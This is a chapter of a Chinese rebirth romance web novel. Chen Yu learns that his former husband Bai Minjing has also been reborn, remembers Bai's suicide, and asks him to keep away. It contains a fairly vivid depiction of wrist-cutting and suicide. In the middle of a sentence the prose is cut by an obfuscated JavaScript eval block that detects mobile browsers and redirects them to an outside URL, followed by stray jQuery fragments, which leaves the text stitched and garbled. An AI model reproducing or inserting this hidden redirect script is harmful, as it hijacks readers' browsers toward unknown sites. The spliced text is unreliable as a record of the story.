絮鬼 作品

18. 第 18 章

陈禹觉得重生之后,发生的所有事情都和自己所想背道而驰。


原本信誓旦旦地决定和白闵京保持距离,但莫名的却是越来越近。


偶尔恍然,才察觉很多轨迹几乎和上辈子没差。


这到底保持了个什么距离。


陈禹也没法怪任何人,他知道是他自己优柔寡断的原因。


他在白闵京面前,总是无法过于狠心。


同时心里还有个不敢确信的猜忌。


他总觉得白闵京也重生了。


但真的可能吗?


那天之后,白闵京果然很听话的没有跟着他了,转眼间,陈禹离高考就剩半个月了。


这天陈禹晚自习放学,和乔奇他们商量了一起去打台球放松一下。


乔奇一路上都欲言又止,很想说点什么,但就是不说,陈禹忍了他半天,放下球杆,直接了当地问“你是不是有话说?”


乔奇挠挠头发,最终咬牙,“陈禹,你还是别和那个白闵京走的太近吧。”


陈禹皱眉,“什么意思?”


乔奇凑近了他,表情复杂,“我觉得他有点毛病……”


陈禹表情不太好,“你到底想说什么?”


“我那天晚上……不是把他约出来教训他吗?”乔奇神情犹犹豫豫的。


陈禹不语,只是眯着眼看他。


“其实那天我不想揍他的。”乔奇现在想想,还是很不理解,“你知道吗?那天是他主动问我想不想揍他,还给我约了地方,让我晚上去那等着他。”


“真的卧槽,你说哪有人主动找打的,还让我别打脸,最离谱的是,他还说了我妈的事!”乔奇抓抓头发,像是自言自语“他妈的,全校就没有人知道我妈的事,陈禹,我就只跟你讲,我妈小时候和我爸离婚了,其实我是想跟着我妈去的,但我小时候……太皮了,我妈不喜欢我……”


陈禹心里有个不好的预感。


乔奇还在说着,“我没跟任何人说这件事,太他妈没脸了,白闵京突然说这件事的时候,我一下子就没忍住,揍了他一拳……”


“我现在想想,有种被他耍了的感觉,小圆说自己一句话也没和他讲过,但白闵京这个人你知道他说什么吗?他承认了是他在小圆面前说我坏话,然后问我想不想揍他。”


乔奇给自己说急眼了,“你说这不是有病吗?他抖m啊,完了之后还在主任面前说是自己的错,他图什么呀,这不是纯纯受虐吗,我就是那个活靶子,差点要被叫家长。”


陈禹的眉眼已经是沉沉的一片,嗓音压抑:“你那晚为什么不说这件事?”


乔奇抽了一根烟,“我这不是不想让你们知道我妈的事吗?而且,这多不好意思啊,我竟然真的就这么傻逼被他套进去了。”


“他真的有点不正常的,你知道吧,每次他来找你,趁你没注意到他的时候,眼神跟鬼一样,吓人。”


乔奇没注意到陈禹冷沉沉的脸色,还在絮絮叨叨,“我倒也不是对他有意见,就是觉得他给人的感觉太不舒服了,陈禹你没必要和他走的太近……”


“知道了。”陈禹站直了身体,“我去外面抽根烟。”


卢鸣上完洗手间回来,就看到陈面无表情的脸,询问乔奇,“陈禹怎么了?脸色怎么那么差?”


乔奇啊了一声,“有吗?”


……


陈禹来到后巷子里,他咬着一根烟,泄力似的蹲了下来。


乔奇或许很纳闷,为什么白闵京会知道他妈妈的事,那是因为上辈子在陈禹和白闵京暧昧期间,陈禹和乔奇卢鸣三个人很久没见,便约好了一起聚一下,他怕白闵京无聊,便拉着他一起去了。


然后乔奇不小心喝醉了,把自己家里的事都抖了出来,在场的几个人都听了一耳朵乔奇的家庭恩怨。


至于为什么白闵京会主动要求乔奇揍他,陈禹想,他大概是因为想得到自己的关注吧。


这是白闵京的管用套路了。


他很擅长用自我摧毁的方式获取自己的注意力。


乔奇今天的一番话终于让陈禹的疑问得到了证实。


啊,原来白闵京也重生了啊。


一旦这个猜疑被确认,那么所有奇怪的轨迹就都顺通了。


那天晚上他无视红绿灯,是想要和上辈子一样去死吗?


他将白闵京救下,对他发火,他却不生气,只是像过去那样,用撒娇平静的眼神看着他。


再之后,白闵京一次又一次的主动靠近,都是因为什么呢?


因为想要靠近自己吗?


可是,他不是最恨自己了吗?


是他一步步把白闵京害死的。


两人离婚的那一天,白闵京悲伤绝望的神情还历历在目,他像是真的恨极了自己。


“陈禹,我有时候真的不想和你在一起了,你知道的吧,我怕疼。”


白闵京在两个人吵架时说过这样的话。


陈禹才知道,其实和他在一起,白闵京是很痛苦的。


他说怕疼,却还在重生之后继续靠近了他。


他想起重生之后,白闵京一系列笨拙又稚气的行为,他其实真的很不擅长主动去接近一个人,所以很多行为都像是一只笨笨的猫,只会盲目地跟在人身后。


他突兀的礼貌,懂事,主动的接近,去咖啡店上班,都只是为了更好的接近他吧。


一步步都看起来很正常,完美,却每一步都不像是白闵京。


甚至最后又不得不采取极端的自我伤害方式,天真的企图再次获得关心。


陈禹真的很想问他。


你不是怕疼吗?


为什么还想靠近他。


即使被他疏离相待,也执拗地没有走。


陈禹心闷的厉害,骨头如同被海水浸软,浑身无力疲惫。


白闵京想要重新和他在一起,但陈禹却是不想了。


他深知自己是什么货色,他并非是一个合格的情人,上辈子这点已经被证实了,这辈子他没有信心能够成为白闵京心中完美的情人。


陈禹不想重蹈覆辙。


陈禹呼出一口烟。


陈禹已经不想再看见白闵京死在眼前的画面了。


或许是知道白闵京重生了的事实,陈禹难得地做了一个梦。


梦里是离婚的那一天。


当晚他收到了白闵京的信息。


【陈禹,我还有个离婚礼物没给你。】


【你到这里来。】


白闵京发了个地址。


陈禹过去了,他并不觉得两个人之间还能送什么礼物。


然后他就知道了,白闵京说的离婚礼物是什么。


是他的尸体和遗嘱。


陈禹站在浴室门口,看见他躺在浴缸里,苍白清瘦的手腕有一道刺眼的刀口,正汩汩地往外流血,浴室地板上已经是一片红,那些血流淌在陈禹的脚边,像是死去的情人最后缱绻的依赖。


白闵京脸色惨白的真像是死了一样,唇乌青的一片,完全失去了原本的美感。


陈禹去摸他的鼻息,心跳,脉搏。


更像死人了。


陈禹轻笑一声,“别作了闵京,这太过了,哥要生气了。”


白闵京没有回答他,他也没有爬起来凶他,也没有发脾气。


陈禹叫了120,然后替他处理后事。


等到将白闵京葬入墓里时,他才后知后觉地恍然。


啊,白闵京真的死了。


他说的礼物就是他的尸体和那份上面写着将所以财产都赠予陈禹的遗嘱。


陈禹看了看遗嘱的时间。


是他们商量好离婚的前一周。


那时候白闵京就已经决定好自己的后半生了,还将自己名下的所有财产一一都留给了他。


陈禹觉得他傻。


自己都和他离婚了,还给他那么多东西。


但其实不是的,之所以给他,是因为陈禹是白闵京在世界上唯一的一个遗物了,这偌大的世界里,白闵京的世界只有陈禹一个人,再无其他人。


陈禹那段时间其实挺恨他的。


恨白闵京死了还要再让他糟心一回。


然后又在心里笑骂他,真是大小姐,连自己的死亡都像是在对他发脾气。


笑着笑着,眼眶却莫名地酸了起来。





陈禹从梦中吓醒,突然感觉到一阵恶心感,他跑到卫生间,趴在马桶上吐。


其实吐不出什么,一直在干呕,想起白闵京手腕上的血,胃就疼的厉害,忍不住想吐。


但是什么也吐不出来。





陈禹不知道该怎么面对白闵京,幸好陈禹因为临近高考,比平常更忙,有理由可以拒绝和白闵京的相处。


白闵京也很忙,临近期末,他们也抽不开身。


两个人就这样好几天没见面。


高考的前一周,高三已经没有了周末考试,陈禹难得有了一个周末。


他拒绝了乔奇他们的聚会,待在自己的公寓里,陈希尔坐在沙发上,问他:“你想去哪个地方读大学啊?”


陈禹看着手机,报了一个大学。


陈希尔跳了起来,“你去那么远干什么?”


陈禹笑笑,“去哪不都一样。”


“哪里一样了,一个南方,一个北方,那个地方很冷哎,听说一整个冬天都在下雪。”


陈禹的心思放在手机上,他盯着和白闵京的聊天界面,两个人某天加了微信,但是到现在都没有和他聊过天。


他想把白闵京约出来,和他谈谈,但是手一直在踌躇,似乎是在想什么理由把他约出来,约出来之后该怎么谈。


正当他犹豫不决时,白闵京却突然给他发了一个“。”


但很快就撤回了。


陈禹对这个句号再清楚不过。


过去白闵京在外面收到委屈了,或者想他,就会先骄矜地发个句号,等到陈禹回了,然后再开始一长串的信息轰炸。


陈禹打字。


【?】


那边一直在显示“对方正在输入……”


陈禹等了半天,白闵京又发来一个“。”


【你在哪。】


陈禹猜白闵京应该是发生了不好的事,懒的和他玩你画我猜,直接问。


那边还是“对方正在输入……”


陈禹打字。


【出来。】


陈禹给他发了个地址。


“我出去一下,晚饭你自己点外卖。”陈禹换了一件衣服,看着外面阴沉沉的,怕外面又下雨,带了一把伞。


陈禹和白闵京约在市中心的公园。


今天天气不好,公园人不多。


他靠着树,等白闵京过来。


远远地,他就看见一个熟悉的影子。


白闵京的身影走近了,他今


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180904|165268||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


天没穿校服,只穿了一件白色短袖,黑色长裤,额前的刘海似乎长了一点,微微遮住了一点秀气的眉眼。


身形清瘦,气质干净疏离,五官秀致,很赏心悦目。


自从知道白闵京也重生了,陈禹突然就不知道怎么和他相处了,今天是这段时间第一次见面。


“来了。”陈禹收起手机。


“嗯。”白闵京平静地看着他。


陈禹才后知后觉注意到他瞳孔里隐秘的情绪。


两个人莫名的静默了起来。


陈禹在河边的长凳坐了下来,白闵京也在他身边坐下。


“你今天出什么事了吗?”陈禹先开口打破了沉默。


白闵京眨眨眼,然后摇摇头。


又是这样。


陈禹想。


白闵京总是在隐瞒他很多事,过去是这样,现在也是这样。


陈禹对于他的隐瞒也无可奈何,他意识到自己身边坐的是他前夫,浑身都有点不自在了起来。


白闵京不知道陈禹的复杂心思,他看到陈禹眼睑下的乌青,忍不住抬起手摸了一下。


刚碰到皮肤那一刻,陈禹就迅速躲开了,速度之快,让白闵京都没反应过来。


他的手僵硬地停在半空,神情愣了一下,眉眼又很快就压了下来。


自陈禹知道白闵京也是重生的后,对他脸上的情绪便能很熟练地捕捉到并摸清原因。


“哦,我有点被吓到。”陈禹看出了白闵京的生气,怕他以为是自己嫌弃他,解释了一句。


白闵京接受了这个解释,又想上去摸。


要是之前陈禹还能装傻地拒绝,但一想到面前是和他一样重生的大小姐脾气的前夫,他深谙上辈子白闵京的脾气,只好任他作为。


白闵京冰冷的手指摩挲陈禹的皮肤,皱眉:“你没睡好?”


陈禹感觉脸上有点痒,“有点。”


见他摸也摸了,问也问了,再没有理由发脾气了,便自然地躲了一下。


白闵京收回了手。


“你叫我出来干什么?”白闵京看着河水边的鸽子,问他。


陈禹心说:还不是因为你看起来心情不好,想要找我,所以我才出来。


其实这是一个原因,还有一个原因,是陈禹想和白闵京说说分别的事。


在知道白闵京重生后做出来的一系列事情之后,陈禹脑海里的保持距离的决定便再次坚定了起来。


白闵京喜欢意气用事,做事全凭心情,但陈禹不能和他一样。


他不想让白闵京去做自己不擅长的事,为了靠近自己,然后委曲求全,笨拙地跟在身后,这都不是陈禹想要的。


而且,他实在太害怕过去重蹈覆辙了


“闵京。”陈禹开口,“以后不要来找我了。”


白闵京身体僵硬了一瞬,嗓音冷冷,“你说什么?”


陈禹眼神没有聚焦地看着前方,他换了一个委婉的说法。


“我过几天要高考了,很忙,考完之后我就不在这个城市呆了。”


“………”


白闵京沉默不言,五官线条僵硬冷淡,手指蜷缩了起来,整个人如同毫无死气的雕塑。


陈禹看到他又在抠自己指甲,按住了他的手,将他的手指一根一根掰开,他像上辈子那样,用温和耐心的嗓音哄他。


“闵京,不能再受伤了。”


“伤口很疼,你不能继续这样让自己疼了。”


其实他想说,也不要再向过去那样寻死了。


但那样就彻底暴露了两个人都重生了的事实。


他不想暴露,白闵京也不想。


这是他们都心知肚明的秘密。


白闵京眼神空洞,眼皮缓缓地眨了眨。


不知道沉默了多久,傍晚来临,陈禹拍拍他的肩膀,“又要下雨了,回去吧。”


白闵京像个呆呆的木偶跟着他。


走到街道,陈禹道“就在这里分开吧。”


白闵京没动,他慢慢地从僵滞的情绪里缓了过来,又恢复成了那副冷淡阴郁的神情。


他没走,转过身,平静地看着陈禹,突然轻声开口,“我饿了。”


陈禹假装没有听出他语气里的示弱撒娇,很是随意地扯了嘴角,“哦是吗,那你回去吃饭吧,我先走了。”


说完也不知道是在怕什么,转身就走了。


陈禹走的很快,一会的功夫就走到了转角,脚步一顿,还是没忍住转头看向白闵京。


白闵京背靠着树,头颅低低地垂着,黑色而柔软的黑发微微拂动,遮住了那双漆黑潮湿的眼睛。


路上行人大多都三三两两结伴,嬉笑着与他擦肩而过,只有他一个人伶仃地站在街角,仿佛是被喧嚣丢弃的一只小狗,没人要,也没人在意他。


陈禹一直告诉自己别再关注他了,自己不能再优柔寡断,他应该要更决绝一点,但有些理智总是会在某些时刻崩塌。


他知道白闵京不是个会好好吃饭的人,他虽然说饿,但如果没人陪他,他也只是随便对付几口,甚至懒得吃。


上辈子他们每次一吵架,白闵京就会怄气不吃饭,连水也不喝,搞的陈禹每次都哭笑不得,又是心疼又是无奈,也忘记了生气。


妈的。


陈禹似乎是自骂了一声。


他仰天长叹一口气。


再顺从他一次。


就当最后一次。